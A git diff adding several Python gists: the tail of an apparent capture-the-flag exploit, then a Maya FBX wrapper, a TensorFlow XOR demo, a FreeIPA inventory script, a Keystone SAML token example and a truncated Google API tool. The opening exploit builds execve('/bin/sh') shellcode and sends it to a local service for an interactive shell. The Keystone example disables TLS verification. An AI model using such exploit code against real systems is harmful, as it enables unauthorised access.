+    movs r4, #0x73;
+    strb r4, [r3]; 
+    
+    adds r3, r3, #1;
+    movs r4, #0x68;
+    strb r4, [r3]; 
+    
+    adds r3, r3, #1;
+    movs r4, #0;
+    strb r4, [r3]; 
+    
+    movs r3, #0;
+    movs r2, #0;
+
+    movs r7, #11;
+    svc 1;
+"""
+
+shellcode = assemble_thumb(shellcode)
+
+# mimic what the code section would look like when we would send our input
+def write_code():
+    ptr = addr
+    
+    u.mem_write(ptr, START)
+    ptr += 4
+
+    code_spray_size = (0x1000 - 4) / 8
+    
+    u.mem_write(ptr, (LOAD + AND) * code_spray_size)
+    
+    ptr = addr + 0x1000 - 4
+
+    u.mem_write(ptr, LOAD)
+
+def init_data():
+    ptr = addr + 0x1000
+    
+    # branch and switch to thumb
+    u.mem_write(ptr, BLX8)
+    u.mem_write(ptr + 4, PADD)
+    ptr += 8
+
+    # write our shellcode, for each instruction write the instruction and the short branch
+    for i in xrange(0, len(shellcode), 2):
+        v = shellcode[i+1].encode('hex') + shellcode[i].encode('hex')
+        u.mem_write(ptr, p32(int(v, 16)))
+        u.mem_write(ptr + 2, B6)
+        u.mem_write(ptr + 4, PADD)
+        ptr += 8
+
+    while ptr < end:
+        if ptr < 0x133710f0:
+            u.mem_write(ptr, p32(0x6e69622f))
+        else:
+            u.mem_write(ptr, p32(0x1))
+        u.mem_write(ptr + 4, PADD)
+        ptr += 8
+
+    u.mem_write(addr + 0x1000 + 0xd8, p32(addr + 0x1000 + 0xd0))
+
+# Used during the development of the exploit as I did not have an ARM machine
+def run_code_section():
+    try:
+        u.emu_start(addr, addr + 0x2000, 100000, 0x400 + len(shellcode));
+        
+        #dump_mem(addr + 0x1000, 0x100)
+        #dump_regs()
+    except UcError as e:
+        
+        # this is hacky but basically the emulation will fail because of garbage instruction and
+        # wrong syscall numbers, what we care about is the state of the memory before executing svc 1
+        print '[*] done running the code section'
+        dump_mem(addr + 0x1000, 0x100)
+        dump_regs()
+
+# generates the string to send to the program to gain a shell by iterating over the memory
+# and generating the integer representation of each dword and join that with ' & '
+def dump_payload():
+    ptr = addr + 0x1000
+    l = []
+    while ptr < addr+0x2000:
+        v = u.mem_read(ptr, 4)
+        l.append(struct.unpack("<I", v)[0])
+        ptr += 8
+
+    s = ' & '.join(str(i) for i in l)
+    # padding to not have to B LR put into memory
+    s += ' + ' + ' + '.join(str(i) for i in l[-40:])
+    return s 
+
+try:
+    global u
+    print '[*] Initializing engine...'
+    u = Uc(UC_ARCH_ARM, UC_MODE_ARM)
+    print '[+] done'
+    
+    u.mem_map(addr, 3 * 0x1000) # size of CODE+DATA
+
+    print '[*] Initializing memory...'
+    write_code()
+    init_data()
+    print '[+] done'
+
+    print '[*] running code'
+    run_code_section()
+    
+    print '[+] dumping payload...'
+    p = dump_payload()
+    print '[+] done, shell on the way'
+
+    s = remote('localhost', 1337)
+
+    s.recv(1024)
+    s.sendline(p)
+    s.interactive()
+
+except UcError as e:
+    print 'error %s' % e
\ No newline at end of file
diff --git a/hard-gists/2b83b1c47a18448d3cbf/._snippet.py b/hard-gists/2b83b1c47a18448d3cbf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2b83b1c47a18448d3cbf/._snippet.py differ
diff --git a/hard-gists/2b83b1c47a18448d3cbf/snippet.py b/hard-gists/2b83b1c47a18448d3cbf/snippet.py
new file mode 100644
index 00000000..18a2b0f1
--- /dev/null
+++ b/hard-gists/2b83b1c47a18448d3cbf/snippet.py
@@ -0,0 +1,425 @@
+'''
+FBXWrapper
+
+This module provides a python wrapper for every method exposed in the FBX plugin.
+
+The arguments for the calls are the same as for the equivalent mel calls, however they can be passed with typical
+python syntax, which is translated to mel-style flags and arguments under the hood.  The actual flags and arguments
+are documented here:
+
+usage:
+
+    import 
+    FBXWrapper.FBXExport(
+
+http://download.autodesk.com/us/fbx/20112/Maya/_index.html
+
+Legalese:
+
+Copyright (c) 2014 Steve Theodore
+ 
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+ 
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+ 
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+'''
+
+import maya.cmds as cmds
+import maya.mel
+
+PLUGIN = 'fbxmaya.mll'
+
+
+def load_fbx(version_string):
+    cmds.loadPlugin(PLUGIN, quiet=True),
+    plugin_is_loaded = cmds.pluginInfo(PLUGIN, q=True, v=True) == version_string
+    assert plugin_is_loaded
+
+
+def assert_property(prop_name, value):
+    assert FBXProperty(prop_name, q=True) == value
+
+
+def _FBXCmd(_CMD, *args, **kwargs):
+    '''
+    Format the arguments into mel-style strings
+    '''
+    quoted = lambda p: '"%s"' % p if str(p) == p else str(p)  # format strings with quotes
+    arg_string = " ".join(map(quoted, args))
+
+    kwarg_fmt = lambda k: "-" + k[0] + " " + quoted(k[1]) if k[0] != 'q' else "-q"
+    # special case -q for compatibility with python API
+
+    kwargs_string = " ".join(map(kwarg_fmt, kwargs.items()))
+
+    return maya.mel.eval(_CMD + " " + kwargs_string + " " + arg_string + ";")
+
+
+def FBXImport(*args, **kwargs):
+    return _FBXCmd("FBXImport", *args, **kwargs)
+
+
+def FBXExport(*args, **kwargs):
+    return _FBXCmd("FBXExport", *args, **kwargs)
+
+
+def FBXResetImport(*args, **kwargs):
+    return _FBXCmd("FBXResetImport", *args, **kwargs)
+
+
+def FBXResetExport(*args, **kwargs):
+    return _FBXCmd("FBXResetExport", *args, **kwargs)
+
+
+def FBXLoadImportPresetFile(*args, **kwargs):
+    return _FBXCmd("FBXLoadImportPresetFile", *args, **kwargs)
+
+
+def FBXLoadExportPresetFile(*args, **kwargs):
+    return _FBXCmd("FBXLoadExportPresetFile", *args, **kwargs)
+
+
+def FBXImportShowUI(*args, **kwargs):
+    return _FBXCmd("FBXImportShowUI", *args, **kwargs)
+
+
+def FBXImportGenerateLog(*args, **kwargs):
+    return _FBXCmd("FBXImportGenerateLog", *args, **kwargs)
+
+
+def FBXImportMode(*args, **kwargs):
+    return _FBXCmd("FBXImportMode", *args, **kwargs)
+
+
+def FBXImportMergeBackNullPivots(*args, **kwargs):
+    return _FBXCmd("FBXImportMergeBackNullPivots", *args, **kwargs)
+
+
+def FBXImportConvertDeformingNullsToJoint(*args, **kwargs):
+    return _FBXCmd("FBXImportConvertDeformingNullsToJoint", *args, **kwargs)
+
+
+def FBXImportHardEdges(*args, **kwargs):
+    return _FBXCmd("FBXImportHardEdges", *args, **kwargs)
+
+
+def FBXImportUnlockNormals(*args, **kwargs):
+    return _FBXCmd("FBXImportUnlockNormals", *args, **kwargs)
+
+
+def FBXImportProtectDrivenKeys(*args, **kwargs):
+    return _FBXCmd("FBXImportProtectDrivenKeys", *args, **kwargs)
+
+
+def FBXImportMergeAnimationLayers(*args, **kwargs):
+    return _FBXCmd("FBXImportMergeAnimationLayers", *args, **kwargs)
+
+
+def FBXImportResamplingRateSource(*args, **kwargs):
+    return _FBXCmd("FBXImportResamplingRateSource", *args, **kwargs)
+
+
+def FBXImportSetMayaFrameRate(*args, **kwargs):
+    return _FBXCmd("FBXImportSetMayaFrameRate", *args, **kwargs)
+
+
+def FBXImportQuaternion(*args, **kwargs):
+    return _FBXCmd("FBXImportQuaternion", *args, **kwargs)
+
+
+def FBXImportSetLockedAttribute(*args, **kwargs):
+    return _FBXCmd("FBXImportSetLockedAttribute", *args, **kwargs)
+
+
+def FBXImportAxisConversionEnable(*args, **kwargs):
+    return _FBXCmd("FBXImportAxisConversionEnable", *args, **kwargs)
+
+
+def FBXImportScaleFactorEnable(*args, **kwargs):
+    return _FBXCmd("FBXImportScaleFactorEnable", *args, **kwargs)
+
+
+def FBXImportScaleFactor(*args, **kwargs):
+    return _FBXCmd("FBXImportScaleFactor", *args, **kwargs)
+
+
+def FBXImportUpAxis(*args, **kwargs):
+    return _FBXCmd("FBXImportUpAxis", *args, **kwargs)
+
+
+def FBXImportAutoAxisEnable(*args, **kwargs):
+    return _FBXCmd("FBXImportAutoAxisEnable", *args, **kwargs)
+
+
+def FBXImportForcedFileAxis(*args, **kwargs):
+    return _FBXCmd("FBXImportForcedFileAxis", *args, **kwargs)
+
+
+def FBXImportCacheFile(*args, **kwargs):
+    return _FBXCmd("FBXImportCacheFile", *args, **kwargs)
+
+
+def FBXImportSkins(*args, **kwargs):
+    return _FBXCmd("FBXImportSkins", *args, **kwargs)
+
+
+def FBXImportShapes(*args, **kwargs):
+    return _FBXCmd("FBXImportShapes", *args, **kwargs)
+
+
+def FBXImportCameras(*args, **kwargs):
+    return _FBXCmd("FBXImportCameras", *args, **kwargs)
+
+
+def FBXImportLights(*args, **kwargs):
+    return _FBXCmd("FBXImportLights", *args, **kwargs)
+
+
+def FBXImportFillTimeline(*args, **kwargs):
+    return _FBXCmd("FBXImportFillTimeline", *args, **kwargs)
+
+
+def FBXImportConstraints(*args, **kwargs):
+    return _FBXCmd("FBXImportConstraints", *args, **kwargs)
+
+
+def FBXImportCharacter(*args, **kwargs):
+    return _FBXCmd("FBXImportCharacter", *args, **kwargs)
+
+
+def FBXExportShowUI(*args, **kwargs):
+    return _FBXCmd("FBXExportShowUI", *args, **kwargs)
+
+
+def FBXExportGenerateLog(*args, **kwargs):
+    return _FBXCmd("FBXExportGenerateLog", *args, **kwargs)
+
+
+def FBXExportFileVersion(*args, **kwargs):
+    return _FBXCmd("FBXExportFileVersion", *args, **kwargs)
+
+
+def FBXExportApplyConstantKeyReducer(*args, **kwargs):
+    return _FBXCmd("FBXExportApplyConstantKeyReducer", *args, **kwargs)
+
+
+def FBXExportQuaternion(*args, **kwargs):
+    return _FBXCmd("FBXExportQuaternion", *args, **kwargs)
+
+
+def FBXExportSkins(*args, **kwargs):
+    return _FBXCmd("FBXExportSkins", *args, **kwargs)
+
+
+def FBXExportShapes(*args, **kwargs):
+    return _FBXCmd("FBXExportShapes", *args, **kwargs)
+
+
+def FBXExportCameras(*args, **kwargs):
+    return _FBXCmd("FBXExportCameras", *args, **kwargs)
+
+
+def FBXExportLights(*args, **kwargs):
+    return _FBXCmd("FBXExportLights", *args, **kwargs)
+
+
+def FBXExportInstances(*args, **kwargs):
+    return _FBXCmd("FBXExportInstances", *args, **kwargs)
+
+
+def FBXExportReferencedContainersContent(*args, **kwargs):
+    return _FBXCmd("FBXExportReferencedContainersContent", *args, **kwargs)
+
+
+def FBXExportBakeComplexStart(*args, **kwargs):
+    return _FBXCmd("FBXExportBakeComplexStart", *args, **kwargs)
+
+
+def FBXExportBakeComplexEnd(*args, **kwargs):
+    return _FBXCmd("FBXExportBakeComplexEnd", *args, **kwargs)
+
+
+def FBXExportBakeComplexStep(*args, **kwargs):
+    return _FBXCmd("FBXExportBakeComplexStep", *args, **kwargs)
+
+
+def FBXExportEmbeddedTextures(*args, **kwargs):
+    return _FBXCmd("FBXExportEmbeddedTextures", *args, **kwargs)
+
+
+def FBXExportConvert2Tif(*args, **kwargs):
+    return _FBXCmd("FBXExportConvert2Tif", *args, **kwargs)
+
+
+def FBXExportInAscii(*args, **kwargs):
+    return _FBXCmd("FBXExportInAscii", *args, **kwargs)
+
+
+def FBXExportBakeComplexAnimation(*args, **kwargs):
+    return _FBXCmd("FBXExportBakeComplexAnimation", *args, **kwargs)
+
+
+def FBXExportBakeResampleAnimation(*args, **kwargs):
+    return _FBXCmd("FBXExportBakeResampleAnimation", *args, **kwargs)
+
+
+def FBXExportUseSceneName(*args, **kwargs):
+    return _FBXCmd("FBXExportUseSceneName", *args, **kwargs)
+
+
+def FBXExportAnimationOnly(*args, **kwargs):
+    return _FBXCmd("FBXExportAnimationOnly", *args, **kwargs)
+
+
+def FBXExportHardEdges(*args, **kwargs):
+    return _FBXCmd("FBXExportHardEdges", *args, **kwargs)
+
+
+def FBXExportTangents(*args, **kwargs):
+    return _FBXCmd("FBXExportTangents", *args, **kwargs)
+
+
+def FBXExportSmoothMesh(*args, **kwargs):
+    return _FBXCmd("FBXExportSmoothMesh", *args, **kwargs)
+
+
+def FBXExportSmoothingGroups(*args, **kwargs):
+    return _FBXCmd("FBXExportSmoothingGroups", *args, **kwargs)
+
+
+def FBXExportFinestSubdivLevel(*args, **kwargs):
+    return _FBXCmd("FBXExportFinestSubdivLevel", *args, **kwargs)
+
+
+def FBXExportInputConnections(*args, **kwargs):
+    return _FBXCmd("FBXExportInputConnections", *args, **kwargs)
+
+
+def FBXExportConstraints(*args, **kwargs):
+    return _FBXCmd("FBXExportConstraints", *args, **kwargs)
+
+
+def FBXExportCharacter(*args, **kwargs):
+    return _FBXCmd("FBXExportCharacter", *args, **kwargs)
+
+
+def FBXExportCacheFile(*args, **kwargs):
+    return _FBXCmd("FBXExportCacheFile", *args, **kwargs)
+
+
+def FBXExportQuickSelectSetAsCache(*args, **kwargs):
+    return _FBXCmd("FBXExportQuickSelectSetAsCache", *args, **kwargs)
+
+
+def FBXExportColladaTriangulate(*args, **kwargs):
+    return _FBXCmd("FBXExportColladaTriangulate", *args, **kwargs)
+
+
+def FBXExportColladaSingleMatrix(*args, **kwargs):
+    return _FBXCmd("FBXExportColladaSingleMatrix", *args, **kwargs)
+
+
+def FBXExportColladaFrameRate(*args, **kwargs):
+    return _FBXCmd("FBXExportColladaFrameRate", *args, **kwargs)
+
+
+def FBXResamplingRate(*args, **kwargs):
+    return _FBXCmd("FBXResamplingRate", *args, **kwargs)
+
+
+def FBXRead(*args, **kwargs):
+    return _FBXCmd("FBXRead", *args, **kwargs)
+
+
+def FBXGetTakeCount(*args, **kwargs):
+    return _FBXCmd("FBXGetTakeCount", *args, **kwargs)
+
+
+def FBXGetTakeIndex(*args, **kwargs):
+    return _FBXCmd("FBXGetTakeIndex", *args, **kwargs)
+
+
+def FBXGetTakeName(*args, **kwargs):
+    return _FBXCmd("FBXGetTakeName", *args, **kwargs)
+
+
+def FBXGetTakeComment(*args, **kwargs):
+    return _FBXCmd("FBXGetTakeComment", *args, **kwargs)
+
+
+def FBXGetTakeLocalTimeSpan(*args, **kwargs):
+    return _FBXCmd("FBXGetTakeLocalTimeSpan", *args, **kwargs)
+
+
+def FBXGetTakeReferenceTimeSpan(*args, **kwargs):
+    return _FBXCmd("FBXGetTakeReferenceTimeSpan", *args, **kwargs)
+
+
+def FBXConvertUnitString(*args, **kwargs):
+    return _FBXCmd("FBXConvertUnitString", *args, **kwargs)
+
+
+def FBXImportConvertUnitString(*args, **kwargs):
+    return _FBXCmd("FBXImportConvertUnitString", *args, **kwargs)
+
+
+def FBXExportConvertUnitString(*args, **kwargs):
+    return _FBXCmd("FBXExportConvertUnitString", *args, **kwargs)
+
+
+def FBXExportAxisConversionMethod(*args, **kwargs):
+    return _FBXCmd("FBXExportAxisConversionMethod", *args, **kwargs)
+
+
+def FBXExportUpAxis(*args, **kwargs):
+    return _FBXCmd("FBXExportUpAxis", *args, **kwargs)
+
+
+def FBXExportScaleFactor(*args, **kwargs):
+    return _FBXCmd("FBXExportScaleFactor", *args, **kwargs)
+
+
+def FBXProperties(*args, **kwargs):
+    return _FBXCmd("FBXProperties", *args, **kwargs)
+
+
+def FBXProperty(*args, **kwargs):
+    '''
+    Wraps the FBXProperty command, which is unusually useful but needs special argument formatting
+    '''
+    if kwargs.get('q', False):
+        # special case query here because FBX is stupid
+        args = (args[0], "-q")
+        return _FBXCmd("FBXProperty", *args)
+    elif not kwargs.get("v", None) is None:
+        quoted = lambda p: '"%s"' % p if str(p) == p else str(p)  # format strings with quotes
+        # args = (quoted(args[0]) +  (" -v %s" % quoted(kwargs.get('v')) ), )
+        #kwargs[''] = quoted(args[0])
+
+        return _FBXCmd('FBXProperty  "%s"' % args[0], **kwargs)
+
+
+def FBXExportUseTmpFilePeripheral(*args, **kwargs):
+    return _FBXCmd("FBXExportUseTmpFilePeripheral", *args, **kwargs)
+
+
+def FBXUICallBack(*args, **kwargs):
+    return _FBXCmd("FBXUICallBack", *args, **kwargs)
+
+
+def FBXUIShowOptions(*args, **kwargs):
+    return _FBXCmd("FBXUIShowOptions", *args, **kwargs)
diff --git a/hard-gists/2b8e2e05cf05a630b132/._snippet.py b/hard-gists/2b8e2e05cf05a630b132/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2b8e2e05cf05a630b132/._snippet.py differ
diff --git a/hard-gists/2b8e2e05cf05a630b132/snippet.py b/hard-gists/2b8e2e05cf05a630b132/snippet.py
new file mode 100644
index 00000000..2d16ee31
--- /dev/null
+++ b/hard-gists/2b8e2e05cf05a630b132/snippet.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env PYTHONIOENCODING="utf-8" python
+"""
+A simple neural network learning the XOR function
+"""
+import tensorflow as tf
+sess = tf.InteractiveSession()
+
+# Desired input output mapping of XOR function:
+x_ = [[0, 0], [0, 1], [1, 0], [1, 1]] # input
+#labels=[0,      1,      1,      0]   # output =>
+expect=[[1,0],  [0,1],  [0,1], [1,0]] # ONE HOT REPRESENTATION! 'class' [1,0]==0 [0,1]==1
+
+# x = tf.Variable(x_)
+x = tf.placeholder("float", [None,2]) #  can we feed directly?
+y_ = tf.placeholder("float", [None, 2]) # two output classes
+
+number_hidden_nodes = 20 # 20 outputs to create some room for negatives and positives
+
+W = tf.Variable(tf.random_uniform([2, number_hidden_nodes], -.01, .01))
+b = tf.Variable(tf.random_uniform([number_hidden_nodes], -.01, .01))
+hidden  = tf.nn.relu(tf.matmul(x,W) + b) # first layer.
+
+ # the XOR function is the first nontrivial function, for which a two layer network is needed.
+W2 = tf.Variable(tf.random_uniform([number_hidden_nodes,2], -.1, .1))
+b2 = tf.Variable(tf.zeros([2]))
+hidden2 = tf.matmul(hidden, W2)#+b2
+
+y = tf.nn.softmax(hidden2)
+
+
+# Define loss and optimizer
+cross_entropy = -tf.reduce_sum(y_*tf.log(y))
+train_step = tf.train.GradientDescentOptimizer(0.2).minimize(cross_entropy)
+
+# Train
+tf.initialize_all_variables().run()
+for step in range(1000):
+    feed_dict={x: x_, y_:expect } # feed the net with our inputs and desired outputs.
+    e,a=sess.run([cross_entropy,train_step],feed_dict)
+    if e<1:break # early stopping yay
+    print "step %d : entropy %s" % (step,e) # error/loss should decrease over time
+
+
+# Test trained model
+correct_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1)) # argmax along dim-1
+accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float")) # [True, False, True, True] -> [1,0,1,1] -> 0.75.
+
+print "accuracy %s"%(accuracy.eval({x: x_, y_: expect}))
+
+learned_output=tf.argmax(y,1)
+print learned_output.eval({x: x_})
\ No newline at end of file
diff --git a/hard-gists/2bcca0a7654168ef454f/._snippet.py b/hard-gists/2bcca0a7654168ef454f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2bcca0a7654168ef454f/._snippet.py differ
diff --git a/hard-gists/2bcca0a7654168ef454f/snippet.py b/hard-gists/2bcca0a7654168ef454f/snippet.py
new file mode 100644
index 00000000..9bae1f67
--- /dev/null
+++ b/hard-gists/2bcca0a7654168ef454f/snippet.py
@@ -0,0 +1,88 @@
+#!/usr/bin/env python
+
+import argparse
+import json
+
+from ipalib import api
+
+def initialize():
+    '''
+    This function initializes the FreeIPA/IPA API. This function requires
+    no arguments. A kerberos key must be present in the users keyring in 
+    order for this to work.
+    '''
+
+    api.bootstrap(context='cli')
+    api.finalize()
+    try:
+        api.Backend.rpcclient.connect()
+    except AttributeError:
+        api.Backend.xmlclient.connect() #FreeIPA < 4.0 compatibility
+    
+    return api
+
+def list_groups(api):
+    '''
+    This function prints a list of all host groups. This function requires
+    one argument, the FreeIPA/IPA API object.
+    '''
+
+    inventory = {}
+    hostvars={}
+    meta={}
+
+    result = api.Command.hostgroup_find()['result']
+
+    for hostgroup in result:
+        # Get direct and indirect members (nested hostgroups) of hostgroup
+        members = []
+        if 'member_host' in hostgroup:
+            members = [host for host in hostgroup['member_host']]
+        if 'memberindirect_host' in hostgroup:
+            members += (host for host in  hostgroup['memberindirect_host'])
+        inventory[hostgroup['cn'][0]] = {'hosts': [host for host in members]}
+
+        for member in members:
+            hostvars[member] = {}
+
+    inventory['_meta'] = {'hostvars': hostvars}
+    inv_string = json.dumps(inventory, indent=1, sort_keys=True)
+    print(inv_string)
+    
+    return None
+
+def parse_args():
+    '''
+    This function parses the arguments that were passed in via the command line.
+    This function expects no arguments.
+    '''
+
+    parser = argparse.ArgumentParser(description='Ansible FreeIPA/IPA inventory module')
+    group = parser.add_mutually_exclusive_group(required=True)
+    
+    group.add_argument('--list', action='store_true', help='List active servers')
+    group.add_argument('--host', help='List details about the specified host')
+
+    return parser.parse_args()
+
+def print_host(host):
+    '''
+    This function is really a stub, it could return variables to be used in 
+    a playbook. However, at this point there are no variables stored in 
+    FreeIPA/IPA.
+
+    Expects one string, the hostname to lookup variables for.
+    '''
+
+    print(json.dumps({}))
+    
+    return None
+
+if __name__ == '__main__':
+    args = parse_args()
+
+    if args.host:
+        print_host(args.host)
+    elif args.list:
+        api = initialize()
+        list_groups(api)
\ No newline at end of file
diff --git a/hard-gists/2c0d9e1a0012065bb56c/._snippet.py b/hard-gists/2c0d9e1a0012065bb56c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2c0d9e1a0012065bb56c/._snippet.py differ
diff --git a/hard-gists/2c0d9e1a0012065bb56c/snippet.py b/hard-gists/2c0d9e1a0012065bb56c/snippet.py
new file mode 100644
index 00000000..4745804d
--- /dev/null
+++ b/hard-gists/2c0d9e1a0012065bb56c/snippet.py
@@ -0,0 +1,47 @@
+#!/usr/bin/env python
+
+import requests
+
+from keystoneclient.contrib.auth.v3 import saml2
+from keystoneclient import session
+
+
+# project id you want to scope to
+VALID_PROJECT_ID = 'your_project_id'
+
+# IDP you have configured in Keystone
+IDENTITY_PROVIDER = 'idp'
+
+# ADFS URL you are supposed to send your SecurityTokenRequest
+# /adfs/services/trust/13/usernamemixed is pretty standard suffix
+# and is used for user/password authentication. So far we support only this
+# authentication method in keystoneclient
+IDENTITY_PROVIDER_URL = ("https://adfs.local/adfs/services/trust/13/"
+                         "usernamemixed")
+
+# Magic URL we are sending out assertion
+SERVICE_PROVIDER_ENDPOINT = ("https://keystone.local:5000/Shibboleth.sso/ADFS")
+
+# Place where unscoped federated token can be retrieved
+SERVICE_PROVIDER_URL = ("https://keystone.local/v3/OS-FEDERATION/"
+                        "identity_providers/%{IDP}s/protocols/saml2/auth")
+SERVICE_PROVIDER_URL = SERVICE_PROVIDER_URL % {'IDP': IDENTITY_PROVIDER}
+AUTH_URL = 'https://keystone.local:5000/v3'
+
+saml2plugin = saml2.ADFSUnscopedToken(
+    AUTH_URL, IDENTITY_PROVIDER,
+    IDENTITY_PROVIDER_URL, SERVICE_PROVIDER_ENDPOINT,
+    username='your_adfs_user', password='adfs_password')
+
+s = session.Session(auth=None, verify=False, session=requests.Session())
+token = saml2plugin.get_auth_ref(s)
+
+# Scope the token
+
+scopeTokenplugin = saml2.Saml2ScopedToken(
+    AUTH_URL, token.auth_token,
+    project_id=VALID_PROJECT_ID)
+
+scoped_token = scopeTokenplugin.get_auth_ref(s)
+
+print scoped_token
diff --git a/hard-gists/2c6abf964810ed74802c/._snippet.py b/hard-gists/2c6abf964810ed74802c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2c6abf964810ed74802c/._snippet.py differ
diff --git a/hard-gists/2c6abf964810ed74802c/snippet.py b/hard-gists/2c6abf964810ed74802c/snippet.py
new file mode 100644
index 00000000..fc5ef4e6
--- /dev/null
+++ b/hard-gists/2c6abf964810ed74802c/snippet.py
@@ -0,0 +1,233 @@
+import sys
+import argparse
+import os
+import sqlite3
+
+import apiclient.discovery
+import httplib2
+import uritemplate
+from oauth2client.anyjson import simplejson
+from oauth2client.client import flow_from_clientsecrets
+from oauth2client.file import Storage
+import oauth2client.tools
+
+def buildDiscoveryObject(api, api_ver):
+  params = {
+      'api': api,
+      'apiVersion': api_ver
+      }
+  http = httplib2.Http()
+  requested_url = uritemplate.expand(apiclient.discovery.DISCOVERY_URI, params)
+  resp, content = http.request(requested_url)
+  if resp.status == 404:
+    raise UnknownApiNameOrVersion("name: %s  version: %s" % (main_options.api, main_options.api_ver))
+  if resp.status >= 400:
+    raise HttpError(resp, content, uri=requested_url)
+  try:
+    return simplejson.loads(content)
+  except ValueError, e:
+    logger.error('Failed to parse as JSON: ' + content)
+    raise InvalidJsonError()
+
+def buildHttpObject(method_object, api=None, api_ver=None):
+  if 'scopes' in method_object:
+    possible_scopes = method_object['scopes']
+    CLIENT_SECRETS = os.path.join(module_path(), 'client_secrets.json')
+    # Helpful message to display in the browser if the CLIENT_SECRETS file
+    # is missing.
+    MISSING_CLIENT_SECRETS_MESSAGE = """
+  WARNING: Please configure OAuth 2.0
+
+  To make this sample run you will need to populate the client_secrets.json file
+  found at:
+
+   %s
+
+  with information from the APIs Console <https://code.google.com/apis/console>.
+
+  """ % CLIENT_SECRETS
+
+    # Set up a Flow object to be used if we need to authenticate.
+    FLOW = flow_from_clientsecrets(CLIENT_SECRETS,
+      scope=possible_scopes,
+      message=MISSING_CLIENT_SECRETS_MESSAGE)
+    sqldbfile = os.path.join(module_path(), 'oauth.db')
+    newDB = (not os.path.isfile(sqldbfile))
+    sqlconn = sqlite3.connect(sqldbfile, detect_types=sqlite3.PARSE_DECLTYPES)
+    sqlconn.text_factory = str
+    sqlcur = sqlconn.cursor()
+    if newDB:
+      sqlcur.executescript('''CREATE TABLE oauthfiles(
+                                scope TEXT PRIMARY KEY, 
+                                file TEXT);''')
+      sqlconn.commit()
+    oauthfile = None
+    for scope in possible_scopes:
+      scope_query = sqlcur.execute('SELECT file FROM oauthfiles WHERE scope = ?', (scope,))
+      scope_results = sqlcur.fetchall()
+      if len(scope_results) > 0:
+        oauthfile = scope_results[0][0]
+        break
+    if oauthfile == None:
+      oauthfile = possible_scopes[0].lower()
+      oauthfile = oauthfile.replace(u'https://', u'')
+      oauthfile = oauthfile.replace(u'http://', u'')
+      oauthfile = oauthfile.replace(u'/', u'_')
+      oauthfile = u'oauth_%s' % oauthfile
+    oauth_fullpath = os.path.join(module_path(), oauthfile)
+    storage = Storage(oauth_fullpath)
+    credentials = storage.get()
+    http = httplib2.Http()
+    if credentials is None or credentials.invalid:
+      flags = cmd_flags()
+      if os.path.isfile(os.path.join(module_path(), 'nobrowser.txt')):
+        flags.noauth_local_webserver = True
+      credentials = oauth2client.tools.run_flow(FLOW, storage, flags, http=http)
+      for scope in possible_scopes:
+        sqlcur.execute('INSERT INTO oauthfiles (scope, file) VALUES (?, ?)', (scope, oauthfile))
+      sqlconn.commit()
+    http = credentials.authorize(http)
+  else:
+    http = httplib2.Http()
+  return http
+
+def showPossibleAPIs():
+  discovery_object = buildDiscoveryObject('discovery', 'v1')
+  http = buildHttpObject(discovery_object)
+  service = apiclient.discovery.build('discovery', 'v1', http=http)
+  try:
+   result = service.apis().list().execute()
+  except apiclient.errors.HttpError, e:
+    print e.resp['status'], simplejson.loads(e.content)['error']['message']
+    return
+  print '--api and --api_ver are required parameters. Possible values are:\n'
+  for api in result['items']:
+    if api['preferred'] == True or api['version'][0] != 'v':
+      print ' --api %s --api_ver %s' % (api['name'], api['version'])
+ 
+def parseMainArgs(argv):
+  parser = argparse.ArgumentParser()
+  parser.add_argument('--api', help='Google API to act against.')
+  parser.add_argument('--api_ver', help='Version of Google API to use')
+  parser.add_argument('--resource', help='Resource to act against.')
+  parser.add_argument('--method', help='Method to perform.')
+  parser.add_argument('--media_body', help='File to upload as media body.')
+  parser.add_argument('--debug', action='store_true', help='Show HTTP Debug output.')
+  return parser.parse_known_args(sys.argv)
+
+def parseUrlArgs(method_object, argv):
+  parser = argparse.ArgumentParser()
+  parser.add_argument('--fields', help='ask the server to send only the fields you need.')
+#  parser.add_argument('--callback', help='Name of the JavaScript callback function that handles the response.')
+  parser.add_argument('--prettyPrint', action='store_true', help='Returns the response in a human-readable format.')
+  parser.add_argument('--quotaUser', help='Lets you enforce per-user quotas from a server-side application even in cases when the user\'s IP address is unknown. (Defaults to true)')
+  parser.add_argument('--userIp', help='IP address of the end user for whom the API call is being made.')
+  if 'parameters' in method_object:
+    for parameter in method_object['parameters']:
+      parser.add_argument('--%s' % parameter)
+  return parser.parse_known_args(argv)
+
+def parseBodyArgs(json_service, method_object, argv):
+  if 'request' in method_object:
+    body_args = argparse.ArgumentParser()
+    body_resource = method_object['request']['$ref']
+    for body_param in json_service['schemas'][body_resource]['properties']:
+      if body_param in ['kind', 'etag']:
+        continue
+      if ('description' in json_service['schemas'][body_resource]['properties'][body_param]) and json_service['schemas'][body_resource]['properties'][body_param]['description'][-11:] == '(Read-only)':
+        continue
+      body_args.add_argument('--%s' % body_param, default='')
+    return vars(body_args.parse_args(argv))
+  else:
+    return None
+
+def we_are_frozen():
+  """Returns whether we are frozen via py2exe.
+  This will affect how we find out where we are located."""
+
